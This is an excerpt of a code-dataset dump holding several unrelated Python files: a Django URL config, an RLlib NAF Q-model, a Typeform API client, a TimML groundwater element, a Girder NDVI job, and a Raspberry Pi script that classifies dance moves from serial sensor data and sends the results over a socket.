{\"y\":5,\"x\":8,\"player\":\"x\"},\n {\"y\":6,\"x\":8,\"player\":\"o\"}\n ])\n player = MockPlayer('x')\n validator = MoveValidator(player, game, 6, 0)\n with self.assertRaises(ValidationError):\n validator.validate()\n\n\n","sub_path":"ultinought/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":10093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"162785787","text":"from django.conf.urls import patterns, url\n\nfrom views import *\n\nurlpatterns = patterns('',\n\turl(r'^$', DisplayMenu, name='index'),\n\turl(r'^Menu$', DisplayMenu, name='menu'),\n\turl(r'^BTI$', bti_api, name='bti_rest'),\n\turl(r'^Register$', register_api, name='register_rest'),\n\turl(r'^Address$', address_api, name='address_rest'),\n\turl(r'^Owner$', owner_api, name='owner_rest'),\n)","sub_path":"rest_side/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"12637442","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom ray.rllib.models.modelv2 import ModelV2\nfrom ray.rllib.models.tf.tf_modelv2 import TFModelV2\nfrom ray.rllib.utils.annotations import override\nfrom ray.rllib.utils import try_import_tf\n\ntf = try_import_tf()\n\n\nclass SimpleQModel(TFModelV2):\n \"\"\"Extension of standard TFModel to provide Q values.\n\n Data flow:\n obs -> forward() -> model_out\n model_out -> get_q_values() -> Q(s, a)\n\n Note that this class by itself is not a valid model unless you\n implement forward() in a subclass.\"\"\"\n\n def __init__(\n self,\n obs_space,\n action_space,\n num_outputs,\n model_config,\n name,\n head_params={\"mu_hiddens\": [256], \"l_hiddens\": [256], \"v_hiddens\": [256]},\n ):\n \"\"\"Initialize variables of this model.\n\n Extra model kwargs:\n q_hiddens (list): defines size of hidden layers for the q head.\n These will be used to postprocess the model output for the\n purposes of computing Q values.\n\n Note that the core layers for forward() are not defined here, this\n only defines the layers for the Q head. Those layers for forward()\n should be defined in subclasses of SimpleQModel.\n \"\"\"\n\n super(SimpleQModel, self).__init__(\n obs_space, action_space, num_outputs, model_config, name\n )\n\n # setup the Q head output (i.e., model for get_q_values)\n self.model_out = tf.keras.layers.Input(shape=(num_outputs,), name=\"model_out\")\n self.action = tf.keras.layers.Input(shape=(action_space,), name=\"action\")\n head_params[\"mu_hiddens\"].append(action_space)\n self._init_quadratic_networks(**head_params)\n\n self.q_value = tf.keras.Model(\n [self.model_out, self.action], self.Q\n )\n self.policy = tf.keras.Model(\n self.model_out, self.Q_params['mu']\n )\n self.register_variables(self.q_value.Q)\n \n @override(ModelV2)\n def forward(self, input_dict, state, seq_lens):\n \"\"\"This generates the model_out tensor input.\n\n You must implement this as documented in modelv2.py.\"\"\"\n raise NotImplementedError\n\n def get_q_values(self, model_out, action):\n \"\"\"Returns Q(s, a) given a feature tensor for the state.\n\n Override this in your custom model to customize the Q output head.\n\n Arguments:\n model_out (Tensor): embedding from the model layers\n\n Returns:\n action scores Q(s, a) for each action, shape [None, action_space.n]\n \"\"\"\n if action is None:\n action = self.policy([model_out])\n return self.q_value([model_out, action])\n \n def get_action(self, model_out):\n return self.policy([model_out])\n\n def _init_quadratic_networks(self, mu_hiddens, l_hiddens, v_hiddens):\n quadratic_networks = {\n \"mu_hidden\": mu_hiddens,\n \"l_hidden\": l_hiddens,\n \"v_hidden\": v_hiddens,\n }\n self.Q_params = {}\n for key, hiddens in quadratic_networks.items():\n last_layer = self.model_out\n for idx, hidden in enumerate(hiddens):\n last_layer = tf.keras.layers.Dense(\n hidden, name=\"{}_{}\".format(key, idx), activation=None\n )(last_layer)\n if idx != len(hiddens) - 1:\n last_layer = tf.keras.activations.relu(last_layer)\n self.Q_params[key.split(\"_\")[0]] = last_layer\n self.Q_params[\"mu\"] = tf.keras.activations.tanh(self.Q_params[\"mu\"])\n diagonal = tf.linalg.diag(tf.exp(tf.linalg.diag_part(self.Q_params[\"l\"])))\n L = diagonal + tf.linalg.band_part(self.Q_params[\"l\"], 0, -1)\n P = tf.matmul(L, tf.transpose(L))\n diff = tf.keras.layers.subtract([action, self.Q_params[\"mu\"]])\n self.Q = tf.math.scalar_mul(-0.5, tf.matmul(tf.matmul(tf.transpose(diff), P), diff))\n","sub_path":"rllib/agents/naf/simple_q_model.py","file_name":"simple_q_model.py","file_ext":"py","file_size_in_byte":4037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"397934925","text":"import pprint\n\nfrom typeform.client import Client\n\n\nclass ResourceNotFound(Exception):\n pass\n\n\nclass MultipleResourcesFound(Exception):\n pass\n\n\n\nclass Resource(Client):\n model_path = None\n\n def __init__(self, id=None, href=None, *args, **kwargs):\n \"\"\"Constructor for TypeForm Resource API client\"\"\"\n\n assert self.model_path, 'self.model_path is not setted for {}'.format(self.__class__.__name__)\n\n self.id = id\n self.href = href\n self.populate_from_api(**kwargs)\n super(Resource, self).__init__()\n\n def populate_from_api(self, *args, **kwargs):\n\n for k, value in kwargs.items():\n setattr(self, k, value)\n\n self.api_data = kwargs\n\n # raise NotImplementedError()\n\n def get_api_object_ref(self):\n\n if getattr(self, 'href', None):\n href = self.href\n elif self.id:\n href = '{}/{}/{}'.format(self.BASE_URL, self.model_path, self.id)\n\n return {\n 'href': href\n }\n\n @classmethod\n def get(cls, id):\n return cls(id).retrieve()\n\n @classmethod\n def search_one(cls, term):\n results = cls.search(term)\n if results.get('total_items', 0) == 0:\n return None\n elif results.get('total_items', 0) == 1:\n return results.get('items')[0]\n else:\n raise MultipleResourcesFound()\n\n @classmethod\n def search(cls, term):\n\n return cls.all(search_term=term)\n\n @classmethod\n def search_by_name(cls, term):\n results = cls.search(term)\n if results.get('total_items', 0) == 0:\n return None\n else:\n for item in results.get('items'):\n if item.name == term:\n return item\n return None\n\n @classmethod\n def all(cls, search_term=None, params=None):\n\n if params is None:\n params = dict()\n if search_term:\n params['search'] = search_term\n\n params['page_size'] = 200\n\n path = '{}'.format(cls.model_path)\n resp = cls()._request('GET', path, params=params)\n\n\n items = resp.get('items')\n for i in items:\n i['href'] = i.pop('self').get('href')\n\n resp.update({\n 'items': [cls(**item) for item in items]\n })\n\n return resp\n\n @classmethod\n def create(cls, **kwargs):\n new_instance = cls()\n new_instance.populate_from_api(**kwargs)\n return new_instance.save()\n\n def list(self):\n return []\n\n def retrieve(self):\n path = '{model}/{id}'.format(model=self.model_path, id=self.id)\n resp = self._request('GET', path)\n\n if 'self' in resp:\n resp['href'] = resp.pop('self').get('href')\n\n self.populate_from_api(**resp)\n return self\n\n def delete(self):\n path = '{model}/{id}'.format(model=self.model_path, id=self.id)\n resp = self._request('DELETE', path)\n del self\n return True\n\n def save(self):\n if self.id:\n return self._update()\n else:\n return self._create()\n\n def _update(self):\n pass\n\n def prepare_data_for_create(self):\n raise NotImplementedError\n\n def _create(self):\n\n data = self.prepare_data_for_create()\n\n path = '{}'.format(self.model_path)\n\n resp = self._request('POST', path, data=data)\n if 'self' in resp:\n resp['href'] = resp.pop('self').get('href')\n\n self.populate_from_api(**resp)\n\n return self\n\n def __repr__(self):\n return '{class_name!r}(api_key={api_key!r}, id={id!r})'.format(class_name=self.__class__.__name__,\n api_key=self.api_key, id=self.id)\n","sub_path":"typeform/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"532716710","text":"import numpy as np\nimport inspect # Used for storing the input\nfrom .element import Element\n\nclass Uflow(Element):\n def __init__(self, model, slope, angle,\\\n name='Uflow', label=None):\n assert model.aq.ilap, 'TimML Error: Uflow can only be added to model with background confined aquifer'\n self.storeinput(inspect.currentframe())\n Element.__init__(self, model, nparam=2, nunknowns=0, layers=0, \\\n name=name, label=label)\n self.slope = slope\n self.angle = angle\n self.model.add_element(self)\n def __repr__(self):\n return self.name + ' with slope and angle: ' + str((self.slope, self.angle))\n def initialize(self):\n self.aq = self.model.aq\n self.aq.add_element(self)\n self.Qx = self.slope * np.cos(self.angle * np.pi / 180) * np.sum(self.aq.T)\n self.Qy = self.slope * np.sin(self.angle * np.pi / 180) * np.sum(self.aq.T)\n self.parameters = np.array([[self.Qx], [self.Qy]])\n def potinf(self, x, y, aq=None):\n if aq is None: aq = self.model.aq.find_aquifer_data(x, y)\n rv = np.zeros((2, aq.naq))\n if aq == self.aq:\n rv[0, 0] = -x\n rv[1, 0] = -y\n return rv\n def disvecinf(self, x, y, aq=None):\n if aq is None: aq = self.model.aq.find_aquifer_data(x, y)\n rv = np.zeros((2, 2, aq.naq))\n if aq == self.aq:\n rv[0, 0, 0] = 1.0\n rv[1, 1, 0] = 1.0\n return rv","sub_path":"timml/uflow.py","file_name":"uflow.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"407177405","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n###############################################################################\n# Copyright Kitware Inc. and Contributors\n# Distributed under the Apache License, 2.0 (apache.org/licenses/LICENSE-2.0)\n# See accompanying Copyright.txt and LICENSE files for details\n###############################################################################\n\nimport itertools\n\nfrom girder_worker.docker.tasks import docker_run\nfrom girder_worker.docker.transforms import VolumePath\nfrom girder_worker.docker.transforms.girder import (\n GirderFileIdToVolume,\n GirderUploadVolumePathToFolder,\n)\nfrom .common import (\n addJobInfo,\n createDockerRunArguments,\n createGirderClient,\n createUploadMetadata,\n)\nfrom ..constants import DockerImage\n\n\ndef computeNdvi(\n initWorkingSetName,\n stepName,\n requestInfo,\n jobId,\n outputFolder,\n imageFiles,\n outputNdviFilename,\n):\n \"\"\"\n Run a Girder Worker job to compute the NDVI from a set of images\n\n Requirements:\n - Danesfield Docker image is available on host\n\n :param initWorkingSetName: The name of the top-level working set.\n :type initWorkingSetName: str\n :param stepName: The name of the step.\n :type stepName: str (DanesfieldStep)\n :param requestInfo: HTTP request and authorization info.\n :type requestInfo: RequestInfo\n :param jobId: Job ID.\n :type jobId: str\n :param outputFolder: Output folder document.\n :type outputFolder: dict\n :param imageFiles: List of pansharpened image files.\n :type imageFiles: list[dict]\n :param outputNdviFilename: Filename for output NDVI\n :type outputNdviFilename: str\n :returns: Job document.\n \"\"\"\n gc = createGirderClient(requestInfo)\n\n # Set output file names\n ndviOutputVolumePath = VolumePath(outputNdviFilename)\n\n # Docker container arguments\n containerArgs = list(\n itertools.chain(\n [\n \"python\",\n \"danesfield/tools/compute_ndvi.py\",\n ],\n [GirderFileIdToVolume(imageFile[\"_id\"], gc=gc) for imageFile in imageFiles],\n [ndviOutputVolumePath],\n )\n )\n\n # Result hooks\n # - Upload output files to output folder\n # - Provide upload metadata\n upload_kwargs = createUploadMetadata(jobId, stepName)\n resultHooks = [\n GirderUploadVolumePathToFolder(\n ndviOutputVolumePath,\n outputFolder[\"_id\"],\n upload_kwargs=upload_kwargs,\n gc=gc,\n )\n ]\n\n asyncResult = docker_run.delay(\n **createDockerRunArguments(\n image=DockerImage.DANESFIELD,\n containerArgs=containerArgs,\n jobTitle=\"[%s] Compute NDVI\" % initWorkingSetName,\n jobType=stepName,\n user=requestInfo.user,\n resultHooks=resultHooks,\n )\n )\n\n # Add info for job event listeners\n job = asyncResult.job\n job = addJobInfo(job, jobId=jobId, stepName=stepName)\n\n return job\n","sub_path":"server/danesfield_server/algorithms/compute_ndvi.py","file_name":"compute_ndvi.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"505028615","text":"import serial\nimport struct\nimport csv\nimport sys\nimport pandas as pd\nimport numpy as np\nimport multiprocessing\nimport math\nfrom sklearn.externals import joblib\nfrom sklearn import preprocessing\nimport time\nimport socket\nimport json\nfrom base64 import b64encode\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome import Random\nfrom Cryptodome.Util.Padding import pad\nimport base64, os\n\n# calc.py has to be in the same folder\nimport calc\n\n#Constants\nDISCONN_REQ = 2\nACK = 3\nNAK = 4\n\n#Globals\ndatasets = [];\t#2d-array with each row corresponding to one dataset\n\nser = serial.Serial('/dev/ttyAMA0', 57600) #open port with baud rate\n\n#############################====Ronald====#############################\n\noverlap = 50.0\ndefault_model = \"random_sp30_ws1_5_o50_final_new_fs45.pkl\"\nmove_num = 0\n\nsend_time = multiprocessing.Value(\"d\", time.time())\nnot_first = False\n\n# Take in sys.argv\nhost = sys.argv[1]\nport = int(sys.argv[2])\n\n# Load classifier\nif len(sys.argv) < 4 or \"pkl\" not in sys.argv[3]:\n print(\"Using default model file: {}\".format(default_model))\n clf_file = default_model\nelse:\n clf_file = sys.argv[3]\nclf = joblib.load(clf_file)\n\nif \"flex\" in clf_file:\n flex = True\nelse:\n flex = False\n \n\ndef map(res):\n label_map = [\"wipers\", \"turnclap\", \"sidestep\", \"chicken\", \"number7\",\"swing\", \"salute\", \"numbersix\", \"mermaid\", \"cowboy\", \"logout\", \"neutral\"]\n return label_map[res-1]\n\n\n# input: dataframe\n# return: int list\ndef calc_features(frame):\n\n acc_x = frame[\"acc_x\"]\n acc_y = frame[\"acc_y\"]\n acc_z = frame[\"acc_z\"]\n gyro_x = frame[\"gyro_x\"]\n gyro_y = frame[\"gyro_y\"]\n gyro_z = frame[\"gyro_z\"]\n \n\n gyro_correlation_1 = calc.correlation(gyro_x, gyro_y)\n gyro_correlation_2 = calc.correlation(gyro_x, gyro_z)\n gyro_correlation_3 = calc.correlation(gyro_y, gyro_z)\n\n acc_mean_x = calc.mean(acc_x)\n acc_mean_y = calc.mean(acc_y)\n acc_mean_z = calc.mean(acc_z)\n\n acc_std_x = calc.std(acc_x)\n acc_std_y = calc.std(acc_y)\n acc_std_z = calc.std(acc_z)\n\n acc_mad_x = calc.mad(acc_x)\n acc_mad_y = calc.mad(acc_y)\n acc_mad_z = calc.mad(acc_z)\n\n acc_max_x = calc.max(acc_x)\n acc_max_y = calc.max(acc_y)\n acc_max_z = calc.max(acc_z)\n\n acc_min_x = calc.min(acc_x)\n acc_min_y = calc.min(acc_y)\n acc_min_z = calc.min(acc_z)\n\n acc_iqr_x = calc.iqr(acc_x)\n acc_iqr_y = calc.iqr(acc_y)\n acc_iqr_z = calc.iqr(acc_z)\n\n acc_correlation_1 = calc.correlation(acc_x, acc_y)\n acc_correlation_2 = calc.correlation(acc_x, acc_z)\n acc_correlation_3 = calc.correlation(acc_y, acc_z)\n\n gyro_mean_x = calc.mean(gyro_x)\n gyro_mean_y = calc.mean(gyro_y)\n gyro_mean_z = calc.mean(gyro_z)\n\n gyro_std_x = calc.std(gyro_x)\n gyro_std_y = calc.std(gyro_y)\n gyro_std_z = calc.std(gyro_z)\n\n gyro_mad_x = calc.mad(gyro_x)\n gyro_mad_y = calc.mad(gyro_y)\n gyro_mad_z = calc.mad(gyro_z)\n\n gyro_max_x = calc.max(gyro_x)\n gyro_max_y = calc.max(gyro_y)\n gyro_max_z = calc.max(gyro_z)\n\n gyro_min_x = calc.min(gyro_x)\n gyro_min_y = calc.min(gyro_y)\n gyro_min_z = calc.min(gyro_z)\n\n gyro_iqr_x = calc.iqr(gyro_x)\n gyro_iqr_y = calc.iqr(gyro_y)\n gyro_iqr_z = calc.iqr(gyro_z)\n \n feature_frame = [\n acc_mean_x, acc_mean_y, acc_mean_z,\n acc_std_x, acc_std_y, acc_std_z,\n acc_mad_x, acc_mad_y, acc_mad_z,\n acc_max_x, acc_max_y, acc_max_z,\n acc_min_x, acc_min_y, acc_min_z,\n acc_iqr_x, acc_iqr_y, acc_iqr_z,\n acc_correlation_1, acc_correlation_2, acc_correlation_3,\n gyro_mean_x, gyro_mean_y, gyro_mean_z,\n gyro_std_x, gyro_std_y, gyro_std_z,\n gyro_mad_x, gyro_mad_y, gyro_mad_z,\n gyro_max_x, gyro_max_y, gyro_max_z,\n gyro_min_x, gyro_min_y, gyro_min_z,\n gyro_iqr_x, gyro_iqr_y, gyro_iqr_z,\n gyro_correlation_1, gyro_correlation_2, gyro_correlation_3\n ]\n\n return feature_frame\n\ndef calc_features_flex(frame):\n\n acc_x = frame[\"acc_x\"]\n acc_y = frame[\"acc_y\"]\n acc_z = frame[\"acc_z\"]\n gyro_x = frame[\"gyro_x\"]\n gyro_y = frame[\"gyro_y\"]\n gyro_z = frame[\"gyro_z\"]\n flex_index = frame[\"flex_index\"]\n flex_pinky = frame[\"flex_pinky\"]\n\n gyro_correlation_1 = calc.correlation(gyro_x, gyro_y)\n gyro_correlation_2 = calc.correlation(gyro_x, gyro_z)\n gyro_correlation_3 = calc.correlation(gyro_y, gyro_z)\n\n acc_mean_x = calc.mean(acc_x)\n acc_mean_y = calc.mean(acc_y)\n acc_mean_z = calc.mean(acc_z)\n\n acc_std_x = calc.std(acc_x)\n acc_std_y = calc.std(acc_y)\n acc_std_z = calc.std(acc_z)\n\n acc_mad_x = calc.mad(acc_x)\n acc_mad_y = calc.mad(acc_y)\n acc_mad_z = calc.mad(acc_z)\n\n acc_max_x = calc.max(acc_x)\n acc_max_y = calc.max(acc_y)\n acc_max_z = calc.max(acc_z)\n\n acc_min_x = calc.min(acc_x)\n acc_min_y = calc.min(acc_y)\n acc_min_z = calc.min(acc_z)\n\n acc_iqr_x = calc.iqr(acc_x)\n acc_iqr_y = calc.iqr(acc_y)\n acc_iqr_z = calc.iqr(acc_z)\n\n acc_correlation_1 = calc.correlation(acc_x, acc_y)\n acc_correlation_2 = calc.correlation(acc_x, acc_z)\n acc_correlation_3 = calc.correlation(acc_y, acc_z)\n\n gyro_mean_x = calc.mean(gyro_x)\n gyro_mean_y = calc.mean(gyro_y)\n gyro_mean_z = calc.mean(gyro_z)\n\n gyro_std_x = calc.std(gyro_x)\n gyro_std_y = calc.std(gyro_y)\n gyro_std_z = calc.std(gyro_z)\n\n gyro_mad_x = calc.mad(gyro_x)\n gyro_mad_y = calc.mad(gyro_y)\n gyro_mad_z = calc.mad(gyro_z)\n\n gyro_max_x = calc.max(gyro_x)\n gyro_max_y = calc.max(gyro_y)\n gyro_max_z = calc.max(gyro_z)\n\n gyro_min_x = calc.min(gyro_x)\n gyro_min_y = calc.min(gyro_y)\n gyro_min_z = calc.min(gyro_z)\n\n gyro_iqr_x = calc.iqr(gyro_x)\n gyro_iqr_y = calc.iqr(gyro_y)\n gyro_iqr_z = calc.iqr(gyro_z)\n\n mean_flex_index = calc.mean(flex_index)\n mean_flex_pinky = calc.mean(flex_pinky)\n\n std_flex_index = calc.std(flex_index)\n std_flex_pinky = calc.std(flex_pinky)\n\n mad_flex_index = calc.mad(flex_index)\n mad_flex_pinky = calc.mad(flex_pinky)\n\n max_flex_index = calc.max(flex_index)\n max_flex_pinky = calc.max(flex_pinky)\n\n min_flex_index = calc.min(flex_index)\n min_flex_pinky = calc.min(flex_pinky)\n\n iqr_flex_index = calc.iqr(flex_index)\n iqr_flex_pinky = calc.iqr(flex_pinky)\n \n feature_frame = [\n acc_mean_x, acc_mean_y, acc_mean_z,\n acc_std_x, acc_std_y, acc_std_z,\n acc_mad_x, acc_mad_y, acc_mad_z,\n acc_max_x, acc_max_y, acc_max_z,\n acc_min_x, acc_min_y, acc_min_z,\n acc_iqr_x, acc_iqr_y, acc_iqr_z,\n acc_correlation_1, acc_correlation_2, acc_correlation_3,\n gyro_mean_x, gyro_mean_y, gyro_mean_z,\n gyro_std_x, gyro_std_y, gyro_std_z,\n gyro_mad_x, gyro_mad_y, gyro_mad_z,\n gyro_max_x, gyro_max_y, gyro_max_z,\n gyro_min_x, gyro_min_y, gyro_min_z,\n gyro_iqr_x, gyro_iqr_y, gyro_iqr_z,\n gyro_correlation_1, gyro_correlation_2, gyro_correlation_3,\n mean_flex_index, mean_flex_pinky,\n std_flex_index, std_flex_pinky,\n mad_flex_index, mad_flex_pinky,\n max_flex_index, max_flex_pinky,\n min_flex_index, min_flex_pinky,\n iqr_flex_index, iqr_flex_pinky\n ]\n\n return feature_frame\n\n# takes in a list in string format\n# returns a list of list in float\ndef input_conversion(temp):\n tempArr = []\n for item in temp:\n tempArr.append([float(val) for val in item.strip().split(\",\")])\n return tempArr\n\n\ndef classify(clf, input):\n print(clf.predict_proba(input))\n return clf.predict(input)[0]\n\n\ndef window_length(size, period):\n milli = 3\n factor = 10 ** milli\n return math.floor((size*factor)/period) # number of rows in a dataframe\n\ndef load_classifier(clf_file):\n return joblib.load(clf_file)\n\ndef simulate(dance_file, sampling_period, window_size, overlap, clf_file):\n total = []\n length = window_length(window_size, sampling_period)\n clf = load_classifier(clf_file)\n start = 0\n increment = int(length - math.floor(length * (overlap / 100.0)))\n end = int(start + length)\n with open(dance_file, \"r\") as f:\n for line in f:\n total.append(line)\n if (len(total) % length == 0):\n temp = total[int(start):int(end)]\n # print(\"{} : {}\".format(start, end))\n p = multiprocessing.Process(target=wrapper, args=(clf,temp))\n p.start()\n # wrapper(clf,df)\n start += increment\n end = start + length\n\n while (end <= len(total)):\n temp = total[int(start):int(end)]\n # print(\"{} : {}\".format(start, end))\n p = multiprocessing.Process(target=wrapper, args=(clf, temp))\n p.start()\n # wrapper(clf,df)\n start += increment\n end = start + length\n\n print(\"END + {} + {}\".format(end, length))\n\n\ndef send(dance_result, s, voltage, current, power, energy, curTime):\n private_msg = \"#{}|{}V|{}A|{}W|{}Wh|{}\".format(dance_result, voltage, current, power, energy, curTime) # 34 bytes\n private_msg = bytes(private_msg, 'utf-8')\n padding_character = \"{\"\n secret_key = b\"sixteen byte key\"\n iv = Random.new().read(AES.block_size)\n cipher = AES.new(secret_key, AES.MODE_CBC, iv)\n padded = pad(private_msg, AES.block_size)\n ct_bytes = cipher.encrypt(pad(private_msg, AES.block_size))\n ct = base64.b64encode(iv + ct_bytes)\n msg = s.send(ct)\n\ndef wrapper(clf, temp, s, voltage, current, power, energy, send_time, sent):\n if (time.time() - send_time.value >=3.6):\n start_time = time.time()\n tempArr = temp\n df = pd.DataFrame(tempArr)\n df.columns = [\"acc_x\", \"acc_y\", \"acc_z\",\n \"gyro_x\", \"gyro_y\", \"gyro_z\"]\n \n #features = calc_features_flex(df)\n features = calc_features(df)\n norm_features = preprocessing.normalize([features])\n \n res = clf.predict(norm_features)[0] \n res_string = map(int(res))\n \n \n probs = clf.predict_proba(norm_features)\n \n second_highest = 0\n second_highest_idx = 0\n for i in range(probs.shape[1]):\n if probs[0][i] > second_highest and probs[0][i] != probs[0][int(res)-1]:\n second_highest = probs[0][i]\n second_highest_idx = i\n \n global move_num\n move_num += 1\n \n \n with open(\"results_log.txt\", \"a\") as f:\n f.write(\"Move no. {}\\n\".format(move_num))\n f.write(\"{}\\n\".format(probs))\n f.write(\"Highest Prob: {}\\n\".format(res_string))\n f.write(\"2nd Highest Prob: {} {}\\n\".format(map(int(second_highest_idx)),second_highest))\n #f.write(\"Elapsed time in wrapper: {}\\n\".format(time.time() - start_time))\n f.write(\"Elapsed time since last send: {}\\n\\n\".format(time.time() - send_time.value))\n #f.write(\"Current time: {}\\n\".format(time.time()))\n \n print(probs)\n \n print(\"This is the returned class: {}\".format(res_string))\n print(\"Elapsed time in wrapper: {}\".format(time.time() - start_time))\n print(\"Elapsed time since last send: {}\".format(time.time() - send_time.value))\n print(\"Current time: {}\\n\".format(time.time()))\n \n send(res_string, s, voltage, current, power, energy, time.time())\n send_time.value = time.time()\n \ndef wrapper_neutral(clf, temp, s, voltage, current, power, energy, send_time, flex, sent, transition_counter):\n \n start_time = time.time()\n tempArr = temp\n df = pd.DataFrame(tempArr)\n df.columns = [\"acc_x\", \"acc_y\", \"acc_z\",\n \"gyro_x\", \"gyro_y\", \"gyro_z\",\n \"flex_index\", \"flex_pinky\"]\n \n #features = calc_features_flex(df)\n features = calc_features(df)\n norm_features = preprocessing.normalize([features])\n \n res = clf.predict(norm_features)[0] \n res_string = map(int(res))\n \n if \"neutral\" not in res_string and sent.value == 0:\n if (transition_counter.value >= 1):\n print(\"This is the returned class: {}\".format(res_string))\n print(\"Elapsed time in wrapper: {}\".format(time.time() - start_time))\n print(\"Elapsed time since last send: {}\".format(time.time() - send_time.value))\n print(\"Current time: {}\\n\".format(time.time()))\n send(res_string, s, voltage, current, power, energy, time.time())\n send_time.value = time.time()\n sent.value = 1\n else:\n transition_counter.value += 1\n elif \"neutral\" in res_string:\n print(\"NEUTRAL REACHED\")\n print(\"Elapsed time in wrapper: {}\".format(time.time() - start_time))\n sent.value = 0\n transition_counter.value = 0\n \n \n \n \ndef wrapper_prob(clf, temp, s, voltage, current, power, energy, send_time, flex, sent):\n threshold = 0.7\n tempArr = temp\n df = pd.DataFrame(tempArr)\n df.columns = [\"acc_x\", \"acc_y\", \"acc_z\",\n \"gyro_x\", \"gyro_y\", \"gyro_z\",\n \"flex_index\", \"flex_pinky\"]\n features = calc_features_flex(df)\n #features = calc_features(df)\n norm_features = preprocessing.normalize([features])\n prob = clf.predict_proba(norm_features)\n if np.amax(prob) >= threshold:\n res = np.argmax(prob)\n res_string= map(int(res))\n \n print(\"{}\".format(clf.predict_proba(norm_features)))\n print(\"This is the returned class: {}\".format(res_string))\n \n with open(\"results_log_proba.txt\", \"a\") as f:\n f.write(\"{}\\n\".format(clf.predict_proba(norm_features)))\n f.write(\"This is the returned class: {}\\n\".format(res_string))\n \n send(res_string, s, voltage, current, power, energy, time.time())\n send_time.value = time.time()\n\n# takes in single dance dataframe\n# returns a list of segments for dataframe passed in\n# segments are dataframes\n# returns a list of dataframes\ndef segment(data, size = 100, overlap = 50.0):\n all_segments = []\n\n start = 0\n # need to ensure that the increment is an integer\n increment = size - math.floor(size*(overlap/100))\n end = start + size\n\n while (end <= len(data.index)):\n window = data.iloc[start:end]\n all_segments.append(window)\n start += increment\n end = start + size\n\n return all_segments\n\n#frame_size = window_length(size, sampling_period)\nframe_size = 45\nincrement = int(frame_size - math.floor(frame_size * (overlap / 100.0)))\nstart = 0\nend = int(start + frame_size)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n s.connect((host,port))\nexcept Exception as e:\n print(\"Did you forget to include the host and port number? If not maybe the destination server has not been started.\")\n print(e)\n exit(1)\n\nprint(\"Please plug in the Arduino power cable.\")\n\nreceived_str = \"\"\nwhile \"Done\" not in received_str:\n\treceived_data = ser.readline()\n\tif len(received_data) > 0:\n print(received_data)\n\treceived_str = received_data.decode(\"utf-8\")\n\n#######################################################################################\n\nwhile True:\n # ============ Connection HandShake ======================\n data = input(\"Enter a request ID: \")\n ser.reset_input_buffer()\n dataToSend = int(data).to_bytes(1,byteorder='big')\n ser.write(dataToSend)\n ser.flush()\n \n \n received_data = ser.read()\n received_data = int.from_bytes(received_data,byteorder='big')\n\n if (received_data == NAK):\n print(\" Re-enter request ID\")\n elif (received_data == ACK): # if the data i received is not empty\n ackToArduino = ACK.to_bytes(1,byteorder='big')\n ser.write(ackToArduino)\n print(\"Sent ACK for conn request ACK\")\n\n # =================== Getting Data =======================\n\n i = 0\n voltage = 0\n current = 0\n power = 0\n energy = 0\n prevTime = time.time()\n \n transition_counter = multiprocessing.Value(\"i\", 0)\n sent = multiprocessing.Value(\"i\", 0)\n while True:\n try:\n received_data = ser.read()\t# Expects 1 byte packet containing buffer length to expect\n buffLen = int.from_bytes(received_data,byteorder='big')\t#Convert byte to int\n ser.write(ACK.to_bytes(1,byteorder='big'))\t# ACK for receiving the buffer length\n received_data = ser.read()\t# Read in parity bit\n evenParityBit = int.from_bytes(received_data, byteorder='big')\n received_data = ser.read(buffLen)\n #print(\"Buffer Length:\",buffLen,\"Received data len\",len(received_data))\n if len(received_data) < buffLen:\n print(\"Len of received_data:\",len(received_data))\n print(\"Received_data:\",received_data)\n ser.reset_input_buffer()\n ser.write(ACK.to_bytes(1,byteorder='big'))\n continue\n\n xorBit = 0\n for b in received_data:\n for k in range(8):\n xorBit ^= ((b >> k) & 1)\n\n if(xorBit == evenParityBit):\n numReading = int(buffLen/4)\t\t# One reading occupies 4 bytes\n tmpArr = []\n for j in range(numReading-2):\n tmp = int.from_bytes(received_data[:4],byteorder='little', signed=True)\t#Convert byte to int\n tmpArr.append(tmp/1000000)\n received_data = received_data[4:]\n\n voltage = int.from_bytes(received_data[:4],byteorder='little', signed=True)\t#Convert byte to int\n # print(\"Read voltage: {}\".format(voltage))\n voltage = voltage / 1000000\n received_data = received_data[4:]\n current = int.from_bytes(received_data[:4],byteorder='little', signed=True)\t#Convert byte to int\n current = current / 1000000\n power = voltage * current\n\n energy += (power * (time.time() - prevTime) / 3600)\n\n prevTime = time.time()\n\n datasets.append(tmpArr)\n \n # start_delay = 55\n start_delay = 55\n \n if not_first == False and time.time() - send_time.value >= start_delay:\n not_first = True\n if len(datasets) >= frame_size:\n datasets = []\n \n if len(datasets) == frame_size and not_first == True:\n #if (len(datasets) % (frame_size) == 0):\n temp = datasets[start:end]\n datasets = datasets[increment:]\n \n p = multiprocessing.Process(target=wrapper, args=(clf, temp, s, voltage, current, power, energy, send_time, sent))\n #p = multiprocessing.Process(target=wrapper_neutral, args=(clf, temp, s, voltage, current, power, energy, send_time, flex, sent, transition_counter))\n p.start()\n \n ser.write(ACK.to_bytes(1,byteorder='big')) # transmit acknowledge\n else:\n i -= 1\n ser.write(NAK.to_bytes(1,byteorder='big'))\n i += 1\n except KeyboardInterrupt:\n # ================= Disconnection handshake =================\n ser.read()\t\t\t\t\t# Wait for Arduino to send data, indicating its waiting for a byte\n ser.write(DISCONN_REQ.to_bytes(1,byteorder='big'))\n received_data = ser.read()\n received_data = int.from_bytes(received_data,byteorder='big')\t# Convert byte to int\n if(received_data == ACK):\n print(\"ACK received for disconnection request\")\n 